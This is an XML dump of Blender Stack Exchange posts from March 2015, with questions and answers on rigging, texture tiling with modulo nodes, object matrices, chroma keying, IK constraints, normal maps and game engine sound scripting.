  <row Id="26699" PostTypeId="1" CreationDate="2015-03-06T14:20:25.487" Score="0" ViewCount="38" Body="&lt;p&gt;In Lab 1 of Unit 8, I was asked to shrink the creature after I already appended it. It wont allow me to select it, it keeps turning blue. I tried everything. I pressed the &quot;s&quot; key but nothing worked. Thank you. I appreciate any help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the instructions I am told to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shrink the Creature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In these steps, you'll shrink the creature and move it to the front of the house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that both the creature and its armature are still selected.&#xA;TIP: If the bone names are yellow or orange, then the armature is selected.&#xA;Press the S key to turn on scaling for all axes.&#xA;TIP: Press CTRL + Z if you need to undo a mistake.&#xA;Move the mouse pointer toward the creature to make it smaller until it's smaller than the house.&#xA;Left-click to stop scaling the creature.&#xA;Make sure the creature and its armature are both still selected.&#xA;Make sure that Translate Manipulator mode is selected. If not, left-click the Translate Manipulator mode button.&#xA;Move the 3D creature until it's next to the front of the house. You may need to rotate the creature using the Rotate Manipulator button.&#xA;Press the A key to deselect the creature and its armature.&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-03-06T14:20:25.487" Title="Help with shrinking creature" Tags="&lt;modeling&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26700" PostTypeId="2" ParentId="15240" CreationDate="2015-03-06T14:22:50.743" Score="-1" Body="&lt;p&gt;Blender is quite tricky about bases changes because it uses unusual frames (the frames Si in the notation below) attached to the objects. Traditionally, mathematicians or physicists use only intrinsec frames (the frames Ri in the notaion below). I took quite some time to understand the behaviour and took some notes for myself. Sorry this is in French, but I hope it can help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment asked for a summary:  I give precise mathematical definitions of the matrices with the introduction of the adequate frames to give these definitions. I also analyse a precise definition of Matrix.decompose() in mathematical terms. Finally, we cand define only two matrices on the four matrices because there are two relations. If one matrix is changed, how do the three other change ? I report my experiments and my understanding on this point . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I apolgize for the language, but I was too lazy to translate my personal notes, and I thought it was better than nothing, since I have not found this information on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part you'll be interested starts with : &quot;Donnons nous n Objets ... &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bon courage !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chaque objet est muni de 4 matrices: matrix_basis,&#xA;matrix_local,matrix_parent_inverse, et matrix_world. &#xA;Ces matrices servent a placer l'objet par rapport au parent et par&#xA;rapport au monde exterieur. Bien sur, il va y avoir des relations&#xA;entre toutes ces matrices puisque si on sait positionner un objet par&#xA;rapport a son parent, et si on sait positionner le parent dans le&#xA;monde exterieur, on sait placer l'objet par rapport au monde. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Les matrices dont on parle sont des matrices 4x4 associees a des&#xA;changements entre de reperes. Techniquement, ces matrices&#xA;4x4 sont construites de la facon suivante. Un deplacement est une&#xA;transformation affine, qui se prolonge en une &#xA;transformation projective et la matrice du deplacement est la matrice&#xA;4x4 de la transformation projective. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comme la transformation est&#xA;affine et que ce n'est pas une transformation projective generale, &#xA;la matrice 4x4 ne contient que 12 coefficients significatifs ( le&#xA;groupe des transfo affine est de dim 12) :  La sous-matrice 1x4  du bas &#xA;est toujours [0,0,0,0,1]. Le groupe des transfo affines est produit&#xA;semi-direct des transfo vectorielle et des translations, ce qui&#xA;signifie concretement que le deplacement se decompose de facon unique&#xA;sous la forme d'une transformation conservant l'origine suivi d'une&#xA;translation. La transformation vectorielle se lit dans la matrice 4x4 &#xA;utilisee par Blender: c'est la sous-matrice 3x3 en haut a gauche. &#xA;Le vecteur de translation est la sous-matrice 3x1 en haut a droite. &#xA;On peut donc acceder facilement a ces informations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;La commande  Matrix.decompose()) permet non seulement d'obtenir le&#xA;vecteur de translation, mais aussi des informations sur la partie&#xA;vectorielle de la transformation affine. Donnons nous une&#xA;transformation affine de matrice P de taille 4x4, de partie&#xA;vectorielle M de taille 3x3 et de&#xA;translation de vecteur t de taille 3x1 . &#xA;La decomposition polaire du groupe GLn permet de representer &#xA;M sous la forme M=OS, avec O=matrice orthogonale et S=matrice symetrique&#xA;definie positive. Soit v le vecteur des valeurs propres de S &#xA;(defini a permutation des termes pres). &#xA;Alors P.decompose()=(t,O,v)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donnons nous n Objets O1,...On de sorte que O1 est le pere de O2, qui&#xA;est le pere de O3... Chaque objet Oi est initialement place' dans un&#xA;repere Ri. Ici un repere affine est la donnee de 4 points non&#xA;coplanaires de l'espace. Puis on peut bouger l'objet dans son repere&#xA;local par un deplacement di et representer ce deplacement par une&#xA;matrice Mi. Ce deplacement definit un nouveau repere Si=di(R_i). &#xA;Je note M(R1,R2) la 4x4 matrice de la transformation f telle que &#xA;f(R1)=R2. Ou si on prefere, un point de coordonnees co1 and co2&#xA;dans R1 et  R2, alors f(co2,1)=(co1,1). Avec ses conventions&#xA;O1.matrix_world=O1.matrix_local=01.matrix_basis=M1&#xA;O1.parent_inverse=1&#xA;et pour i&gt;1&#xA;Oi.matrix_basis=Mi=M(Ri,Si)&#xA;Oi.matrix_local=M(S(i-1),Si)&#xA;Oi.matrix_parent_inverse=M(S(i-1),Ri)&#xA;Oi.matrix_world=O(i-1).matrix_world*Oi.matrix_local&lt;/p&gt;&#xA;&#xA;&lt;p&gt;En termes intuitifs, matrix_basis est la matrice decrivant le&#xA;placement de l'objet i dans son repere local, matrix_local decrit le&#xA;changement entre le repere Si attache' a l'objet i et le repere&#xA;attache' a l'objet i-1, matrix_parent_inverse sert a decrire comment&#xA;on a attache' l'objet i a son parent i-1 et matrix_world agrege &#xA;les matrices precedentes pour avoir des coordonnees globales. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On voit que sur les 4 matrices de Oi, seules deux sont necessaires,&#xA;les 2 autres se determinent par calcul puisqu'on a deux relations, &#xA;la relation de la derniere ligne et &#xA;matrix_basis*matrix_parent_inverse=matrix_local&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quand on change une matrice, les donnees ne sont plus coherentes&#xA;entre les differents changement de repere au sens ou elles &#xA;ne satisfont plus les relations precedentes.  Blender doit &#xA;recalculer pour&#xA;reproduire des matrices coherents et il le fait a l'occasion de&#xA;l'appel de fonction scene.update. Le probleme est qu'il y a plusieurs facons de &#xA;respecter cette coherence. &#xA;Apres essai-erreur, j'ai remarque' que Blender faisait les calculs de&#xA;la facon suivante: &#xA;- si on change matrix_basis ou matrix_world, cela revient a bouger&#xA;l'objet dans son systeme de coordonnees locales : Blender prend en&#xA;compte la matrice qu'on a modifie', laisse inchangee la matrice&#xA;matrix_parent_inverse, puis recalcule les deux autres matrices en&#xA;fonction de ces deux la. &#xA;- si on change matrix_parent_inverse : cela revient a bouger la facon&#xA;dont l'objet i est attache' a l'objet i-1. Blender prend en compte la&#xA;nouvelle matrice parent_inverse, conserve inchangee la matrice&#xA;matrix_basis, puis calcule les matrices restantes a calculer.&lt;br&gt;&#xA;- on ne peut pas changer seulement matrix_local, ca donne des&#xA;reslutats incoherents au sens ou apres update de la scene, les&#xA;matrices ne satisfont pas les relations qu'elles devraient. Il semble&#xA;qu'il y ait un bug ici. &lt;/p&gt;&#xA;" OwnerUserId="13004" LastEditorUserId="13004" LastEditDate="2015-03-07T17:45:57.197" LastActivityDate="2015-03-07T17:45:57.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26703" PostTypeId="2" ParentId="26692" CreationDate="2015-03-06T15:49:17.410" Score="73" Body="&lt;p&gt;You can use the math Modulo node on mapping vectors to create tilling for procedural textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1JSFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To tile them seamlessly you need to flip tiles in X and Y axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNqWw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Tilling X and Y nodes use values between 0 and 1. And to tile them in 3D just copy the setup into Z channel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Why &lt;em&gt;Mapping node&lt;/em&gt; does not add tilling to procedural textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mapping node does adjust tilling for Image textures. This is because image has finite dimensions and repeats itself - the tilling is already &quot;build-in&quot;. The Mapping node only zooms, translates and rotates this tilled image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since procedural textures are infinite, they have no borders and are not tilled. The Mapping node will just transform them but not tile them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How and why the math nodes work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture mapping does transform texture space to object space - you can visualize it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ySTzV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for &lt;em&gt;Generated&lt;/em&gt; mapping, &lt;a href=&quot;https://blender.stackexchange.com/questions/23173/what-methods-can-be-used-to-place-a-texture-onto-an-object/23174#23174&quot;&gt;other types&lt;/a&gt; will be mapped differently. &lt;em&gt;Generated&lt;/em&gt; mapping will map the &amp;lt;0,1&gt; interval to object bounding box. Therefore it stretches with scaling the mesh, but it does not rotate with mesh rotating (edit mode). It does rotate with object since generated mapping will be always aligned with object's local coords. To bind the texture to mesh UV mapping must be chosen and mesh unwrapped to tangent space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we split the mapping vectors into XYZ channels, we get access to each axis and can manipulate it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aPtsO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets focus only on single channel (all apply the same principles). Now we output what we get (in the marked rectangle). This can be visualized with a graph function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZscI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we need for tilling though is this graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5wGw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a graph of a modulo function (precisely modulo 0.33..) and will create 3 tiles on each axis. It is mapping the output to the same input locations repeatedly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have it tile seamlessly and flip every odd tile lower the graph of half the curve height and make the values absolute:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4gCp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get double the tiles naturally.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are many effects you can do with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture pixelation with rounding node: &lt;a href=&quot;https://blender.stackexchange.com/questions/24008/how-to-pixelate-a-texture-in-cycles/24012#24012&quot;&gt;How to pixelate a texture in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image blurring with noising the vectors: &lt;a href=&quot;https://blender.stackexchange.com/questions/23670/motion-blur-on-texture/23673#23673&quot;&gt;Motion blur on texture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Staggered mapping with rounding and offsetting: &lt;a href=&quot;http://adaptivesamples.com/2014/06/16/staggered-texture-mapping/&quot; rel=&quot;noreferrer&quot;&gt;Staggered Texture Mapping&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Etc..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-03-07T10:21:11.557" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="26704" PostTypeId="2" ParentId="26691" CreationDate="2015-03-06T15:56:58.890" Score="8" Body="&lt;p&gt;you can  use the mask modifier for this task :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a vertex group of the vertices that you want to hide &lt;/li&gt;&#xA;&lt;li&gt;add a mask modifier  and assign the vertex group&lt;/li&gt;&#xA;&lt;li&gt;you can click beside the vertex group to switch the effect&lt;/li&gt;&#xA;&lt;li&gt;the mask will also has effect in the render you have to uncheck 'show in render'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1e4xk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-06T15:56:58.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26706" PostTypeId="1" AcceptedAnswerId="27817" CreationDate="2015-03-06T16:11:22.050" Score="1" ViewCount="1321" Body="&lt;p&gt;What I want is to chroma key a short segment from one video strip (a title overlay in the middle of a longer video), over another video strip background. I can't see any compositing options in the Effect Strip and Strip Modifier menus except for alpha/mask operations. So looks like I need to generate an alpha on my own, and apply it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the only chroma key I am aware of in Blender is in the scene compositor. So the only solution I've been able to come up with is create one whole scene dedicated just to the  title overlay clip, use the Matte output from the Chroma Key node to render the grayscale matte to disk, then reimport the render into a strip in my original scene and use that as my alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works, but it seems like more steps than there ought to be. I'm used to editors like Final Cut Pro that let you generate mattes via modifiers on a per-strip level. Is there no simpler way to achieve the same thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least, can I do something to avoid having to manually render the matte frames?&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="1617" LastEditDate="2015-03-06T22:04:45.077" LastActivityDate="2015-03-29T12:37:19.247" Title="A better way to composite one video sub-clip over another with chroma key?" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;&lt;video&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26707" PostTypeId="2" ParentId="26677" CreationDate="2015-03-06T16:14:41.313" Score="1" Body="&lt;p&gt;Multiedit addon, select objects you want to delete vertices, press Multiedit Enter button, select vertices, delete, press Multiedit Exit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2014/09/29/edit-multiple-objects-at-once-with-the-multiedit-addon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2014/09/29/edit-multiple-objects-at-once-with-the-multiedit-addon/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UwXB0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-03-06T16:14:41.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26709" PostTypeId="1" CreationDate="2015-03-06T16:25:16.713" Score="2" ViewCount="1339" Body="&lt;p&gt;I am wondering if it is possible to edit curves of action already put in the NLA editor. And suppose that I have an action that extents from the frame 0 to frame 40 and in the NLA editor Strip Extents is from 1000 to 2000 (I scale the action). However, I discover that the action is not very tuned and I need to move hands or rotate  little bit the head. How can I edit this in original action not in strip. Hope that my question is clear, otherwise, I can put my file.blend&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VUtN2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-10-12T10:52:27.693" Title="How can I edit F-curves of an action already put in the NLA editor" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26710" PostTypeId="2" ParentId="26656" CreationDate="2015-03-06T17:02:32.997" Score="4" Body="&lt;pre&gt;&lt;code&gt;    spawn.instantAddObject()&#xA;    obj = spawn.objectLastCreated&#xA;    obj.worldOrientation = [0 , 0 , 0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where spawn is defined with spawn = c.actuators[&quot;spawn&quot;] when &quot;spawn&quot; is add object actuator&#xA;and [0 , 0 , 0] are coords&lt;/p&gt;&#xA;" OwnerUserId="12874" LastActivityDate="2015-03-06T17:02:32.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26711" PostTypeId="1" AcceptedAnswerId="26714" CreationDate="2015-03-06T17:09:06.427" Score="1" ViewCount="1401" Body="&lt;p&gt;I'm just trying to do the beginners tutorial about creating a character and animation of it, it's the well known gingerbread man, but it is written for blender 2.4 and actual version is 2.73 and there are a lot of things which have changed. I have already created the model and just on the way to arrange the bones. I have weight-painted the arms and chest and now I'm in that part to get the feet working &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the actual tutorial page I'm working on:&#xA; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Animation/BSoD/Character_Animation/Lower_body_armature&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Animation/BSoD/Character_Animation/Lower_body_armature&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pose mode I should add an 'IK Solver' but I cannot find where to add such an constraint and even when I look into the different constraints I cannot find an 'IK Solver'. So this now is the point where I don't know how to go further on, because without this I cannot do entries into that panel and so I cannot go on with finishing the armature and testing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how this is to be handled using blender 2.73?&#xA;Any help would be appreciated.&#xA;BTW sorry for my English as I'm from Austria.&#xA;Thx in before for any advice.&lt;/p&gt;&#xA;" OwnerUserId="13006" LastEditorUserId="241" LastEditDate="2015-03-06T18:03:52.673" LastActivityDate="2015-03-06T18:03:52.673" Title="How can I add an 'IK Solver' constraint?" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26712" PostTypeId="1" AcceptedAnswerId="26722" CreationDate="2015-03-06T17:16:29.880" Score="11" ViewCount="1227" Body="&lt;p&gt;For a 3D text object, especially with many many characters in it, how can I place the cursor to the right position in order to edit the text around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example to show what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KOlOY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="241" LastEditDate="2015-03-06T17:34:25.663" LastActivityDate="2015-03-07T03:11:51.527" Title="How to quickly place text cursor in long 3D Text?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;text-object&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26713" PostTypeId="2" ParentId="24761" CreationDate="2015-03-06T17:24:46.487" Score="4" Body="&lt;p&gt;It was not necessary to change the parenting at all, or use python.&#xA;Your main problem was that you had not checked the check box labeled &lt;em&gt;Ghost&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zKBCP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also important you change the settings for the collision group and the collision masks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the head and torso are on collision group 2 and are masked so that they can collide with &lt;em&gt;Every Other&lt;/em&gt; collision group except for the first. This is because the ground is on the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main collision group is set so that it can collide with everything &lt;em&gt;Except&lt;/em&gt; for collision group 2, because the bullets are on that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/99fC4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that ghost is Not checked on bounds. This is because it needs to be able to collide with the ground. It is masked so it can collide with everything except for collision group 2, because the bullets are in that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last important change you need to make is on the bullets themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on the same collision group as the torso and head, so they can collide with everything and not cause a problem. because the collision bounds object is on collision group 1, and because it is masked so that it &lt;em&gt;can not&lt;/em&gt; detect collisions with the bullets, the bullets will pass through them harmlessly. However, the ground is also on collision group 1, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HjDpC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using these methods, the end result is that the bullets can collide with the head and torso, the head and torso detect collisions with the bullets, and can decrease health/armor accordingly. The main physics object (bounds) can only collide with the ground. the bullets can also collide with the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/71/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=71&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-11T01:24:54.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26714" PostTypeId="2" ParentId="26711" CreationDate="2015-03-06T17:29:53.000" Score="2" Body="&lt;p&gt;What you're looking for is the &lt;em&gt;Inverse Kinematics (IK) Constraint&lt;/em&gt; you find it in the properties while in &lt;em&gt;Pose Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XOqjj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be interested in a more recent version of this tutorial: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints&quot; rel=&quot;nofollow noreferrer&quot;&gt;Constraints&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/IK_Solver&quot; rel=&quot;nofollow noreferrer&quot;&gt;IK&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-03-06T17:39:22.560" LastActivityDate="2015-03-06T17:39:22.560" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="26715" PostTypeId="2" ParentId="26712" CreationDate="2015-03-06T17:38:55.730" Score="3" Body="&lt;p&gt;So far as I can see, there is no faster way than using the arrow keys and moving to the correct position. Unless you're writing a small novel, you should be fine with this. Once you use the arrow keys even once, you can use the options found in the tool bar to jump to next page, previous line ect. and then hone in on the particular place normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m60Pv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-06T17:38:55.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26716" PostTypeId="2" ParentId="26712" CreationDate="2015-03-06T17:54:38.517" Score="7" Body="&lt;p&gt;You can just type what you want&#xA;in the text editor and then convert&#xA;it to a text.and it is so easy to do&#xA;just toggle to the edit panel and press&#xA;convert to 3d text and choose what you want.you can also use an original text for this.&lt;img src=&quot;https://i.stack.imgur.com/PPFx2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Have fun.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-03-06T17:54:38.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26717" PostTypeId="2" ParentId="26653" CreationDate="2015-03-06T18:11:06.583" Score="1" Body="&lt;p&gt;The normal map you are using is baked for tangent space. Blender tries to calculate the tangent and binormal vectors from a UV map. The problem here is that along UV seams the tangent direction can change. This is why you get weird shading along the UV seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution is to calculate the normalmap in Object space (use &quot;Object Space&quot;, not &quot;Blender Object Space&quot; in the Cycles shader). However this will not work if your object gets deformed, for example by animation bones. Also there still seem to be some artifacs and the normals seem not to be calulated smoothly (see red box below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nItSc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the displacement texture directly instead of the normal map gives you perfectly smooth shading, so I think you should it instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the texture issues your object also has a bunch of flipped normals: inside the nostrils, the eye sockets and inside the holes where the ears are attatched to the head.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-03-06T18:11:06.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26719" PostTypeId="1" AcceptedAnswerId="26724" CreationDate="2015-03-06T19:08:50.243" Score="1" ViewCount="901" Body="&lt;p&gt;I want to play an intro sound, then when the intro is finished, play the full looped song.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best strategy/tactic? Delay the playing of the loop by the lenght of the intro? Detect when the intro actuator has finished its job?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Play this audio file first: A &quot;always&quot; sensor connected to a &quot;And&quot; with use_priority connected to a &quot;play_end&quot; sound actuator&lt;/li&gt;&#xA;&lt;li&gt;Then, connected to the same always sensor but with a regular AND python module connected to a &quot;Loop_end&quot; sound actuator :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def menuMusic(cont):&#xA;    loop = cont.owner.actuators[&quot;Loop&quot;]&#xA;    time.sleep(0.5) # delays for 5 seconds&#xA;    cont.activate(loop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But both my files are playing (in perfect sync, I must say)...&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="1608" LastEditDate="2015-03-06T21:54:01.963" LastActivityDate="2015-03-06T22:29:22.473" Title="Play a sound, then another when the first is finished?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26720" PostTypeId="1" CreationDate="2015-03-06T20:10:12.087" Score="2" ViewCount="1472" Body="&lt;p&gt;I don't know if this is the right place to ask, but I'd like to know if there are any good examples of a hand rig with good fingers deformations. I see many muscle deformation systems, but can't really apply them to the fingers. Some real-life examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7IZG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1JlyR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7famo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-03-07T01:00:41.240" Title="Any examples of a nice hand rig? Specially fingers" Tags="&lt;rigging&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26721" PostTypeId="1" AcceptedAnswerId="26734" CreationDate="2015-03-06T20:37:03.790" Score="2" ViewCount="1050" Body="&lt;p&gt;I'm trying to make an odd effect similar to a video game where things off in the distance aren't drawn, but aren't chopped off completely - they blend into the background instead. So it's sort of like a fog or mist, but one that only applies to objects and not the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've come to making this work is by using two separate RenderLayers - one that's only the background with a mist pass, and one that's all the objects. Unfortunately, this leads to a &quot;ghost&quot; effect: the objects are semi-transparent over the background. Additionally, it doesn't work with non-white objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBdmG.png&quot; alt=&quot;Results of my attempt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do?&lt;/p&gt;&#xA;" OwnerUserId="13010" LastActivityDate="2015-03-07T02:47:28.147" 